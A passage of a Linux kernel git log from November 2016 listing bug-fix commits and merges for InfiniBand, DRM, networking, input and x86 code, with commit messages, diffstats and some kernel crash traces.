5e6e3a92b9a4 ("wireless: mwifiex: initial commit for Marvell mwifiex driver") Signed-off-by: Brian Norris Cc: Acked-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit d5afc1b68a6ddc27746d31f775025afe75ec8122 Author: Tony Lindgren Date: Wed Nov 16 10:24:15 2016 -0800 dmaengine: cppi41: More PM runtime fixes Fix use of u32 instead of int for checking for negative errors values as pointed out by Dan Carpenter . And while testing the PM runtime error path by randomly returning failed values in runtime resume, I noticed two more places that need fixing: - If pm_runtime_get_sync() fails in probe, we still need to do pm_runtime_put_sync() to keep the use count happy. We could call pm_runtime_put_noidle() on the error path, but we're just going to call pm_runtime_disable() after that so pm_runtime_put_sync() will do what we want - We should print an error if pm_runtime_get_sync() fails in cppi41_dma_alloc_chan_resources() so we know where it happens Reported-by: Dan Carpenter Fixes: 740b4be3f742 ("dmaengine: cpp41: Fix handling of error path") Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 553bbc11aa6c1f9e0f529a06aeeca15fbe4a3985 Author: Arnd Bergmann Date: Wed Nov 16 15:17:09 2016 +0100 x86/boot: Avoid warning for zero-filling .bss The latest binutils are warning about a .fill directive with an explicit value in a .bss section: arch/x86/kernel/head_32.S: Assembler messages: arch/x86/kernel/head_32.S:677: Warning: ignoring fill value in section `.bss..page_aligned' arch/x86/kernel/head_32.S:679: Warning: ignoring fill value in section `.bss..page_aligned' This comes from the 'ENTRY()' macro padding the space between the symbols with 'nop' via: .align 4,0x90 Open-coding the .globl directive without the padding avoids that warning, as all the symbols are already page aligned. Signed-off-by: Arnd Bergmann Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161116141726.2013389-1-arnd@arndb.de Signed-off-by: Ingo Molnar arch/x86/kernel/head_32.S | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 680bb946a1ae04fe0ff369a4965f76b48c07dc54 Author: Abhi Das Date: Wed Nov 16 21:44:23 2016 -0600 fix iov_iter_advance() for ITER_PIPE iov_iter_advance() needs to decrement iter->count by the number of bytes we'd moved beyond. Normal flavours do that, but ITER_PIPE doesn't and ITER_PIPE generic_file_read_iter() for O_DIRECT files ends up with a bogus fallback to page cache read, resulting in incorrect values for file offset and bytes read. Signed-off-by: Abhi Das Signed-off-by: Al Viro lib/iov_iter.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 4a59015372840a6fc35d7fd40638a9d5dc3ec958 Author: Andreas Gruenbacher Date: Sun Nov 13 21:23:34 2016 +0100 xattr: Fix setting security xattrs on sockfs The IOP_XATTR flag is set on sockfs because sockfs supports getting the "system.sockprotoname" xattr. Since commit 6c6ef9f2, this flag is checked for setxattr support as well. This is wrong on sockfs because security xattr support there is supposed to be provided by security_inode_setsecurity. The smack security module relies on socket labels (xattrs). Fix this by adding a security xattr handler on sockfs that returns -EAGAIN, and by checking for -EAGAIN in setxattr. We cannot simply check for -EOPNOTSUPP in setxattr because there are filesystems that neither have direct security xattr support nor support via security_inode_setsecurity. A more proper fix might be to move the call to security_inode_setsecurity into sockfs, but it's not clear to me if that is safe: we would end up calling security_inode_post_setxattr after that as well. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/xattr.c | 22 ++++++++++++++-------- net/socket.c | 15 +++++++++++++++ 2 files changed, 29 insertions(+), 8 deletions(-) commit e5f6f564fd191d365fcd775c06a732a488205588 Author: Eric Dumazet Date: Wed Nov 16 06:31:52 2016 -0800 bnxt: add a missing rcu synchronization Add a missing synchronize_net() call to avoid potential use after free, since we explicitly call napi_hash_del() to factorize the RCU grace period. Fixes: c0c050c58d84 ("bnxt_en: New Broadcom ethernet driver.") Signed-off-by: Eric Dumazet Cc: Michael Chan Acked-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 4 ++++ 1 file changed, 4 insertions(+) commit e47112d9d6009bf6b7438cedc0270316d6b0370d Author: Florian Fainelli Date: Tue Nov 15 15:58:15 2016 -0800 net: dsa: b53: Fix VLAN usage and how we treat CPU port We currently have a fundamental problem in how we treat the CPU port and its VLAN membership. As soon as a second VLAN is configured to be untagged, the CPU automatically becomes untagged for that VLAN as well, and yet, we don't gracefully make sure that the CPU becomes tagged in the other VLANs it could be a member of. This results in only one VLAN being effectively usable from the CPU's perspective. Instead of having some pretty complex logic which tries to maintain the CPU port's default VLAN and its untagged properties, just do something very simple which consists in neither altering the CPU port's PVID settings, nor its untagged settings: - whenever a VLAN is added, the CPU is automatically a member of this VLAN group, as a tagged member - PVID settings for downstream ports do not alter the CPU port's PVID since it now is part of all VLANs in the system This means that a typical example where e.g: LAN ports are in VLAN1, and WAN port is in VLAN2, now require having two VLAN interfaces for the host to properly terminate and send traffic from/to. Fixes: Fixes: a2482d2ce349 ("net: dsa: b53: Plug in VLAN support") Reported-by: Hartmut Knaack Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit e9fb7cc63801d3dc71b60ca11c4d08f68f879a53 Author: Dmitry Torokhov Date: Sat Nov 12 10:45:48 2016 -0800 Input: psmouse - disable automatic probing of BYD touchpads BYD automatic protocol detection is extremely unreliable and is often triggers false positives on regular mice, Sentelic touchpads, and other devices. BYD has several documents that have recommended detection sequence, but they conflict with each other and, as far as I can see, still would not produce unique enough output to reliably differentiate BYD from other PS/2 devices. OEMs sourcing BYD devices also do not do us any favors by not supplying any reasonable DMI data and instead leaving turds like "To Be Filled By O.E.M." in place of vendor data, or "System Serial Number" as serial number. On top of that BYD is not truly modern multitouch controller, but rather a single-touch transitional device that only reports absolute coordinates at the beginning of finger contact and then reverts to reporting displacements, and thus not very precise; the only benefit from using BYD mode vs the legacy PS/2 mode is possibility of edge scrolling. Given the above, and the fact that BYD devices are somewhat uncommon, let's disable automatic detection of BYD devices. Users who know they have BYD trackpads or want to experiment can attempt to activate BYD protocol via sysfs: echo -n "byd" > /sys/bus/serio/devices/serio1/drvctl Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=151691 Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=175421 Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=120781 Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=121281 Fixes: 98ee37714493 ("Input: byd - add BYD PS/2 touchpad driver") Cc: stable@vger.kernel.org # 4.6+ Reviewed-by: Pali Rohár Signed-off-by: Dmitry Torokhov drivers/input/mouse/psmouse-base.c | 4 ---- 1 file changed, 4 deletions(-) commit 961b708e95181041f403251f660bc70be3ff6ba3 Merge: 5fd0f1c 29ed197 Author: Linus Torvalds Date: Wed Nov 16 17:24:21 2016 -0800 Merge tag 'drm-fixes-for-v4.9-rc6' of git://people.freedesktop.org/~airlied/linux Pull drm fixes fr9om Dave Airlie: "Fixes for amdgpu, and a bunch of arm drivers. There seems to be an uptick in the ARM drivers sending things for fixes which is good, so I've decided to dequeue a bit early, more stuff may arrive before the weekend. This contains mediatek, arcpgu, sunxi, fsl-dcu display controller fixes along with 3 amdgpu fixes, one for a fencing issue with secondary GPUs" * tag 'drm-fixes-for-v4.9-rc6' of git://people.freedesktop.org/~airlied/linux: drm/amdgpu:fix vpost_needed routine drm/amdgpu/powerplay: drop a redundant NULL check drm/amdgpu: Attach exclusive fence to prime exported bo's. (v5) drm/arcpgu: Accommodate adv7511 switch to DRM bridge drm/fsl-dcu: disable planes before disabling CRTC drm/fsl-dcu: update all registers on flush drm/fsl-dcu: do not update when modifying irq registers drm/sun4i: Propagate error to the caller drm/sun4i: Fix error handling drm/mediatek: modify the factor to make the pll_rate set in the 1G-2G range drm/mediatek: enhance the HDMI driving current drm/mediatek: do mtk_hdmi_send_infoframe after HDMI clock enable drm/mediatek: clear IRQ status before enable OVL interrupt drm/mediatek: set vblank_disable_allowed to true drm/mediatek: fix a typo of OD_CFG to OD_RELAYMODE drm/sun4i: rgb: Remove the bridge enable/disable functions drm/sun4i: rgb: Enable panel after controller commit 5c6b2aaf9316fd0983c0c999d920306ddc65bd2d Author: Steve Wise Date: Thu Nov 3 12:09:38 2016 -0700 iw_cxgb4: invalidate the mr when posting a read_w_inv wr Also, rearrange things a bit to have a common c4iw_invalidate_mr() function used everywhere that we need to invalidate. Fixes: 49b53a93a64a ("iw_cxgb4: add fast-path for small REG_MR operations") Signed-off-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/hw/cxgb4/cq.c | 17 +++-------------- drivers/infiniband/hw/cxgb4/iw_cxgb4.h | 2 +- drivers/infiniband/hw/cxgb4/mem.c | 12 ++++++++++++ drivers/infiniband/hw/cxgb4/qp.c | 16 ++++++++-------- 4 files changed, 24 insertions(+), 23 deletions(-) commit 4ff522ea47944ffd3d4d27023ace8bc6a722c834 Author: Steve Wise Date: Tue Oct 18 14:04:39 2016 -0700 iw_cxgb4: set *bad_wr for post_send/post_recv errors There are a few cases in c4iw_post_send() and c4iw_post_receive() where *bad_wr is not set when an error is returned. This can cause a crash if the application tries to use bad_wr. Signed-off-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/hw/cxgb4/qp.c | 4 ++++ 1 file changed, 4 insertions(+) commit 6fa1f2f0aa6191193704b9ff10e5a2cafe540738 Merge: 2b16056 6d93130 Author: Doug Ledford Date: Wed Nov 16 20:05:10 2016 -0500 Merge branches 'hfi1' and 'mlx' into k.o/for-4.9-rc commit 6d931308f55faaef3f30bd0346c47f99528b229d Author: Yonatan Cohen Date: Wed Nov 16 10:39:18 2016 +0200 IB/rxe: Update qp state for user query The method rxe_qp_error() transitions QP to error state and make sure the QP is drained. It did not though update the QP state for user's query. This patch fixes this. Fixes: 8700e3e7c485 ("Soft RoCE driver") Signed-off-by: Yonatan Cohen Reviewed-by: Moni Shoua Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_qp.c | 1 + 1 file changed, 1 insertion(+) commit aa75b07b478a774b1432e2df1be5cd8ae834de0f Author: Yonatan Cohen Date: Wed Nov 16 10:39:17 2016 +0200 IB/rxe: Clear queue buffer when modifying QP to reset RXE resets the send-q only once in rxe_qp_init_req() when QP is created, but when the QP is reused after QP reset, the send-q holds previous garbage data. This garbage data wrongly fails CQEs that otherwise should have completed successfully. Fixes: 8700e3e7c485 ("Soft RoCE driver") Signed-off-by: Yonatan Cohen Reviewed-by: Moni Shoua Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_qp.c | 1 + drivers/infiniband/sw/rxe/rxe_queue.c | 9 +++++++++ drivers/infiniband/sw/rxe/rxe_queue.h | 2 ++ 3 files changed, 12 insertions(+) commit 002e062e13db10973adb8302f231e48b477c7ccf Author: Yonatan Cohen Date: Wed Nov 16 10:39:15 2016 +0200 IB/rxe: Fix handling of erroneous WR To correctly handle a erroneous WR this fix does the following 1. Make sure the bad WQE causes a user completion event. 2. Call rxe_completer to handle the erred WQE. Before the fix, when rxe_requester found a bad WQE, it changed its status to IB_WC_LOC_PROT_ERR and exit with 0 for non RC QPs. If this was the 1st WQE then there would be no ACK to invoke the completer and this bad WQE would be stuck in the QP's send-q. On top of that the requester exiting with 0 caused rxe_do_task to endlessly invoke rxe_requester, resulting in a soft-lockup attached below. In case the WQE was not the 1st and rxe_completer did get a chance to handle the bad WQE, it did not cause a complete event since the WQE's IB_SEND_SIGNALED flag was not set. Setting WQE status to IB_SEND_SIGNALED is subject to IBA spec version 1.2.1, section 10.7.3.1 Signaled Completions. NMI watchdog: BUG: soft lockup - CPU#7 stuck for 22s! [] ? rxe_pool_get_index+0x35/0xb0 [rdma_rxe] [] lookup_mem+0x3c/0xc0 [rdma_rxe] [] copy_data+0x1c4/0x230 [rdma_rxe] [] rxe_requester+0x9d0/0x1100 [rdma_rxe] [] ? kfree_skbmem+0x5a/0x60 [] rxe_do_task+0x89/0xf0 [rdma_rxe] [] rxe_run_task+0x12/0x30 [rdma_rxe] [] rxe_post_send+0x41a/0x550 [rdma_rxe] [] ? __kmalloc+0x182/0x200 [] ? down_read+0x12/0x40 [] ib_uverbs_post_send+0x532/0x540 [ib_uverbs] [] ? tcp_sendmsg+0x402/0xb80 [] ib_uverbs_write+0x18c/0x3f0 [ib_uverbs] [] ? inet_recvmsg+0x7e/0xb0 [] ? sock_recvmsg+0x3d/0x50 [] __vfs_write+0x37/0x140 [] vfs_write+0xb2/0x1b0 [] SyS_write+0x55/0xc0 [] entry_SYSCALL_64_fastpath+0x1a/0xa Fixes: 8700e3e7c485 ("Soft RoCE driver") Signed-off-by: Yonatan Cohen Reviewed-by: Moni Shoua Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_req.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit 1454ca3a97e147bb91e98b087446c39cf6692a48 Author: Yonatan Cohen Date: Wed Nov 16 10:39:14 2016 +0200 IB/rxe: Fix kernel panic in UDP tunnel with GRO and RX checksum Missing initialization of udp_tunnel_sock_cfg causes to following kernel panic, while kernel tries to execute gro_receive(). While being there, we converted udp_port_cfg to use the same initialization scheme as udp_tunnel_sock_cfg. ------------[ cut here ]------------ kernel tried to execute NX-protected page - exploit attempt? (uid: 0) BUG: unable to handle kernel paging request at ffffffffa0588c50 IP: [] __this_module+0x50/0xffffffffffff8400 [ib_rxe] PGD 1c09067 PUD 1c0a063 PMD bb394067 PTE 80000000ad5e8163 Oops: 0011 [#1] SMP Modules linked in: ib_rxe ip6_udp_tunnel udp_tunnel CPU: 5 PID: 0 Comm: swapper/5 Not tainted 4.7.0-rc3+ #2 Hardware name: Red Hat KVM, BIOS Bochs 01/01/2011 task: ffff880235e4e680 ti: ffff880235e68000 task.ti: ffff880235e68000 RIP: 0010:[] [] __this_module+0x50/0xffffffffffff8400 [ib_rxe] RSP: 0018:ffff880237343c80 EFLAGS: 00010282 RAX: 00000000dffe482d RBX: ffff8800ae330900 RCX: 000000002001b712 RDX: ffff8800ae330900 RSI: ffff8800ae102578 RDI: ffff880235589c00 RBP: ffff880237343cb0 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff8800ae33e262 R13: ffff880235589c00 R14: 0000000000000014 R15: ffff8800ae102578 FS: 0000000000000000(0000) GS:ffff880237340000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffa0588c50 CR3: 0000000001c06000 CR4: 00000000000006e0 Stack: ffffffff8160860e ffff8800ae330900 ffff8800ae102578 0000000000000014 000000000000004e ffff8800ae102578 ffff880237343ce0 ffffffff816088fb 0000000000000000 ffff8800ae330900 0000000000000000 00000000ffad0000 Call Trace: [] ? udp_gro_receive+0xde/0x130 [] udp4_gro_receive+0x10b/0x2d0 [] inet_gro_receive+0x1d3/0x270 [] dev_gro_receive+0x269/0x3b0 [] napi_gro_receive+0x38/0x120 [] mlx5e_handle_rx_cqe+0x27e/0x340 [mlx5_core] [] mlx5e_poll_rx_cq+0x66/0x6d0 [mlx5_core] [] mlx5e_napi_poll+0x8e/0x400 [mlx5_core] [] net_rx_action+0x160/0x380 [] __do_softirq+0xd7/0x2c5 [] irq_exit+0xf5/0x100 [] do_IRQ+0x56/0xd0 [] common_interrupt+0x8c/0x8c [] ? native_safe_halt+0x6/0x10 [] default_idle+0x1e/0xd0 [] arch_cpu_idle+0xf/0x20 [] default_idle_call+0x3c/0x50 [] cpu_startup_entry+0x323/0x3c0 [] start_secondary+0x15c/0x1a0 RIP [] __this_module+0x50/0xffffffffffff8400 [ib_rxe] RSP CR2: ffffffffa0588c50 ---[ end trace 489ee31fa7614ac5 ]--- Kernel panic - not syncing: Fatal exception in interrupt Kernel Offset: disabled ---[ end Kernel panic - not syncing: Fatal exception in interrupt ------------[ cut here ]------------ Fixes: 8700e3e7c485 ("Soft RoCE driver") Signed-off-by: Yonatan Cohen Reviewed-by: Moni Shoua Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe_net.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 593ff73bcfdc79f79a8a0df55504f75ad3e5d1a9 Author: Matan Barak Date: Thu Nov 10 11:30:55 2016 +0200 IB/mlx4: Fix create CQ error flow Currently, if ib_copy_to_udata fails, the CQ won't be deleted from the radix tree and the HW (HW2SW). Fixes: 225c7b1feef1 ('IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters') Signed-off-by: Matan Barak Signed-off-by: Daniel Jurgens Reviewed-by: Mark Bloch Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/cq.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 37995116fecfce2b61ee3da6e73b3e394c6818f9 Author: Daniel Jurgens Date: Thu Nov 10 11:30:54 2016 +0200 IB/mlx4: Check gid_index return value Check the returned GID index value and return an error if it is invalid. Fixes: 5070cd2239bd ('IB/mlx4: Replace mechanism for RoCE GID management') Signed-off-by: Daniel Jurgens Reviewed-by: Mark Bloch Reviewed-by: Yuval Shaia Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/ah.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit a1ab8402d15d2305d2315d96ec3294bfdf16587e Author: Eli Cohen Date: Thu Oct 27 16:36:46 2016 +0300 IB/mlx5: Fix NULL pointer dereference on debug print For XRC QP CQs may not exist. Check before attempting dereference. Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters') Signed-off-by: Eli Cohen Signed-off-by: Maor Gottlieb Reviewed-by: Yishai Hadas Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/qp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dbaaff2a2caa03d472b5cc53a3fbfd415c97dc26 Author: Eli Cohen Date: Thu Oct 27 16:36:44 2016 +0300 IB/mlx5: Fix fatal error dispatching When an internal error condition is detected, make sure to set the device inactive after dispatching the event so ULPs can get a notification of this event. Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters') Signed-off-by: Eli Cohen Signed-off-by: Maor Gottlieb Reviewed-by: Mohamad Haj Yahia Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 6bc1a656ab9f57f0112823b4a36930c9a29d1f89 Author: Moshe Lazer Date: Thu Oct 27 16:36:42 2016 +0300 IB/mlx5: Resolve soft lock on massive reg MRs When calling reg_mr of large MRs (e.g. 4GB) from multiple processes and MR caches can't supply the required amount of MRs the slow-path of MR allocation may be used. In this case we need to serialize the slow-path between the processes to avoid soft lock. Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters') Signed-off-by: Moshe Lazer Signed-off-by: Maor Gottlieb Reviewed-by: Eli Cohen Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/mlx5_ib.h | 2 ++ drivers/infiniband/hw/mlx5/mr.c | 6 +++++- 2 files changed, 7 insertions(+), 1 deletion(-) commit 16b0e0695a73b68d8ca40288c8f9614ef208917b Author: Daniel Jurgens Date: Thu Oct 27 16:36:41 2016 +0300 IB/mlx5: Use cache line size to select CQE stride When creating kernel CQs use 128B CQE stride if the cache line size is 128B, 64B otherwise. This prevents multiple CQEs from residing in a 128B cache line, which can cause retries when there are concurrent read and writes in one cache line. Tested with IPoIB on PPC64, saw ~5% throughput improvement. Fixes: e126ba97dba9 ('mlx5: Add driver for Mellanox Connect-IB adapters') Signed-off-by: Daniel Jurgens Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/cq.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit efd7f40082a0dfd112eb87ff2124467a5739216f Author: Maor Gottlieb Date: Thu Oct 27 16:36:40 2016 +0300 IB/mlx5: Validate requested RQT size Validate that the requested size of RQT is supported by firmware. Fixes: c5f9092936fe ('IB/mlx5: Add Receive Work Queue Indirection table operations') Signed-off-by: Maor Gottlieb Reviewed-by: Yishai Hadas Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/qp.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 90be7c8ab72853ff9fc407f01518a898df1f3045 Author: Majd Dibbiny Date: Thu Oct 27 16:36:39 2016 +0300 IB/mlx5: Fix memory leak in query device We need to free dev->port when we fail to enable RoCE or initialize node data. Fixes: 0837e86a7a34 ('IB/mlx5: Add per port counters') Signed-off-by: Majd Dibbiny Signed-off-by: Maor Gottlieb Reviewed-by: Mark Bloch Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3c7ba5760ab8eedec01159b267bb9bfcffe522ac Author: Mark Bloch Date: Thu Oct 27 16:36:31 2016 +0300 IB/core: Avoid unsigned int overflow in sg_alloc_table sg_alloc_table gets unsigned int as parameter while the driver returns it as size_t. Check npages isn't greater than maximum unsigned int. Fixes: eeb8461e36c9 ("IB: Refactor umem to use linear SG table") Signed-off-by: Mark Bloch Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/umem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61c3702863be9e9f1ef12ed5a5b17bae6cdfac0b Author: Mark Bloch Date: Thu Oct 27 16:36:29 2016 +0300 IB/core: Add missing check for addr_resolve callback return value When calling rdma_resolve_ip inside rdma_addr_find_l2_eth_by_grh, the return status of the request was ignored in the callback function causing a successful return and an empty dmac. Signed-off-by: Mark Bloch Signed-off-by: Alex Vesker Reviewed-by: Or Gerlitz Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/addr.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit aeb76df46d1158d5f7f3d30f993a1bb6ee9c67a0 Author: Leon Romanovsky Date: Mon Oct 31 07:50:56 2016 +0200 IB/core: Set routable RoCE gid type for ipv4/ipv6 networks On Thu, Oct 27, 2016 at 04:36:28PM +0300, Leon Romanovsky wrote: > From: Mark Bloch > > If the underlying netowrk type is ipv4 or ipv6 and the device supports > routable RoCE, prefer it so the traffic could cross subnets. > > Signed-off-by: Mark Bloch > Signed-off-by: Maor Gottlieb > Signed-off-by: Leon Romanovsky > --- Hi Doug, Please take the following v1 of this patch where I fixed spelling error from "netowrk" to be "network". Thanks. >From 09f96ba3e9b4442cfb44dca04c6726e55525c9c3 Mon Sep 17 00:00:00 2001 From: Mark Bloch Date: Sun, 11 Sep 2016 06:25:10 +0000 Subject: [PATCH rdma-rc v1 3/6] IB/core: Set routable RoCE gid type for ipv4/ipv6 networks If the underlying network type is ipv4 or ipv6 and the device supports routable RoCE, prefer it so the traffic could cross subnets. Signed-off-by: Mark Bloch Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/cma.c | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) commit 9db0ff53cb9b43ed75bacd42a89c1a0ab048b2b0 Author: Mark Bloch Date: Thu Oct 27 16:36:27 2016 +0300 IB/cm: Mark stale CM id's whenever the mad agent was unregistered When there is a CM id object that has port assigned to it, it means that the cm-id asked for the specific port that it should go by it, but if that port was removed (hot-unplug event) the cm-id was not updated. In order to fix that the port keeps a list of all the cm-id's that are planning to go by it, whenever the port is removed it marks all of them as invalid. This commit fixes a kernel panic which happens when running traffic between guests and we force reboot a guest mid traffic, it triggers a kernel panic: Call Trace: [] ? panic+0xa7/0x16f [] ? oops_end+0xe4/0x100 [] ? no_context+0xfb/0x260 [] ? del_timer_sync+0x22/0x30 [] ? __bad_area_nosemaphore+0x125/0x1e0 [] ? process_timeout+0x0/0x10 [] ? bad_area_nosemaphore+0x13/0x20 [] ? __do_page_fault+0x31f/0x480 [] ? default_wake_function+0x0/0x20 [] ? free_msg+0x55/0x70 [mlx5_core] [] ? cmd_exec+0x124/0x840 [mlx5_core] [] ? find_busiest_group+0x244/0x9f0 [] ? do_page_fault+0x3e/0xa0 [] ? page_fault+0x25/0x30 [] ? cm_alloc_msg+0x35/0xc0 [ib_cm] [] ? ib_send_cm_dreq+0xb1/0x1e0 [ib_cm] [] ? cm_destroy_id+0x176/0x320 [ib_cm] [] ? ib_destroy_cm_id+0x10/0x20 [ib_cm] [] ? ipoib_cm_free_rx_reap_list+0xa7/0x110 [ib_ipoib] [] ? ipoib_cm_rx_reap+0x0/0x20 [ib_ipoib] [] ? ipoib_cm_rx_reap+0x15/0x20 [ib_ipoib] [] ? worker_thread+0x170/0x2a0 [] ? autoremove_wake_function+0x0/0x40 [] ? worker_thread+0x0/0x2a0 [] ? kthread+0x96/0xa0 [] ? child_rip+0xa/0x20 [] ? kthread+0x0/0xa0 [] ? child_rip+0x0/0x20 Fixes: a977049dacde ("[PATCH] IB: Add the kernel CM implementation") Signed-off-by: Mark Bloch Signed-off-by: Erez Shitrit Reviewed-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/cm.c | 126 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 110 insertions(+), 16 deletions(-) commit 5b810a242c28e1d8d64d718cebe75b79d86a0b2d Author: Tariq Toukan Date: Thu Oct 27 16:36:26 2016 +0300 IB/uverbs: Fix leak of XRC target QPs The real QP is destroyed in case of the ref count reaches zero, but for XRC target QPs this call was missed and caused to QP leaks. Let's call to destroy for all flows. Fixes: 0e0ec7e0638e ('RDMA/core: Export ib_open_qp() to share XRC...') Signed-off-by: Tariq Toukan Signed-off-by: Noa Osherovich Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/uverbs_main.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 5fd0f1cae3cced7d3518d22afb4fc7192a0b8fa1 Merge: 984573a 709fb1f Author: Linus Torvalds Date: Wed Nov 16 16:39:01 2016 -0800 Merge tag 'xtensa-20161116' of git://github.com/jcmvbkbc/linux-xtensa Pull Xtensa fixes from Max Filippov: - fix register dumps, stack dumps and stack traces that got torn due to recent printk changes - wire up pkey_{mprotect,alloc,free} syscalls * tag 'xtensa-20161116' of git://github.com/jcmvbkbc/linux-xtensa: xtensa: wire up new pkey_{mprotect,alloc,free} syscalls xtensa: clean up printk usage for boot/crash logging commit 2a3811068fbc6bf09bb09d166b65394b091c1085 Author: Russell King Date: Wed Nov 16 23:51:19 2016 +0000 ARM: Fix XIP kernels Commit 7619751f8c90 ("ARM: 8595/2: apply more __ro_after_init") caused a regression with XIP kernels by moving the __ro_after_init data into the read-only section. With XIP kernels, the read-only section is located in read-only memory from the very beginning. Work around this by moving the __ro_after_init data back into the .data section, which will be in RAM, and hence will be writable. It should be noted that in doing so, this remains writable after init. Fixes: 7619751f8c90 ("ARM: 8595/2: apply more __ro_after_init") Reported-by: Andrea Merello Tested-by: Andrea Merello [ XIP stm32 ] Tested-by: Alexandre Torgue Signed-off-by: Russell King arch/arm/kernel/vmlinux-xip.lds.S | 5 +++++ 1 file changed, 5 insertions(+) commit 29ed197333bdb1ccda1790bd2418f3a835de86fd Merge: 51a4c38 1da2c32 Author: Dave Airlie Date: Thu Nov 17 09:45:27 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes Just a few bug fixes for 4.9. The big one is Mario's prime fencing fix. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/amdgpu:fix vpost_needed routine drm/amdgpu/powerplay: drop a redundant NULL check drm/amdgpu: Attach exclusive fence to prime exported bo's. (v5) commit 51a4c38a5511c0027c54d330f7dd2239f6c95b82 Merge: 94ea29b 0d22007 Author: Dave Airlie Date: Thu Nov 17 09:44:52 2016 +1000 Merge branch 'mediatek-drm-fixes-2016-11-11' of https://github.com/ckhu-mediatek/linux.git-tags into drm-fixes This branch include one patch to fix a typo, two patches to disable vblank interrupt, and three patches to support HDMI 4K resolution. * 'mediatek-drm-fixes-2016-11-11' of https://github.com/ckhu-mediatek/linux.git-tags: drm/mediatek: modify the factor to make the pll_rate set in the 1G-2G range drm/mediatek: enhance the HDMI driving current drm/mediatek: do mtk_hdmi_send_infoframe after HDMI clock enable drm/mediatek: clear IRQ status before enable OVL interrupt drm/mediatek: set vblank_disable_allowed to true drm/mediatek: fix a typo of OD_CFG to OD_RELAYMODE commit 955e16026d08a601d02b961d13b6db9d6c13c8c9 Author: Alex Date: Wed Nov 16 01:02:33 2016 -0800 net/phy/vitesse: Configure RGMII skew on VSC8601, if needed With RGMII, we need a 1.5 to 2ns skew between clock and data lines. The VSC8601 can handle this internally. While the VSC8601 can set more fine-grained delays, the standard skew settings work out of the box. The same heuristic is used to determine when this skew should be enabled as in vsc824x_config_init(). Tested on custom board with AM3352 SOC and VSC801 PHY. Signed-off-by: Alexandru Gagniuc Signed-off-by: David S. Miller drivers/net/phy/vitesse.c | 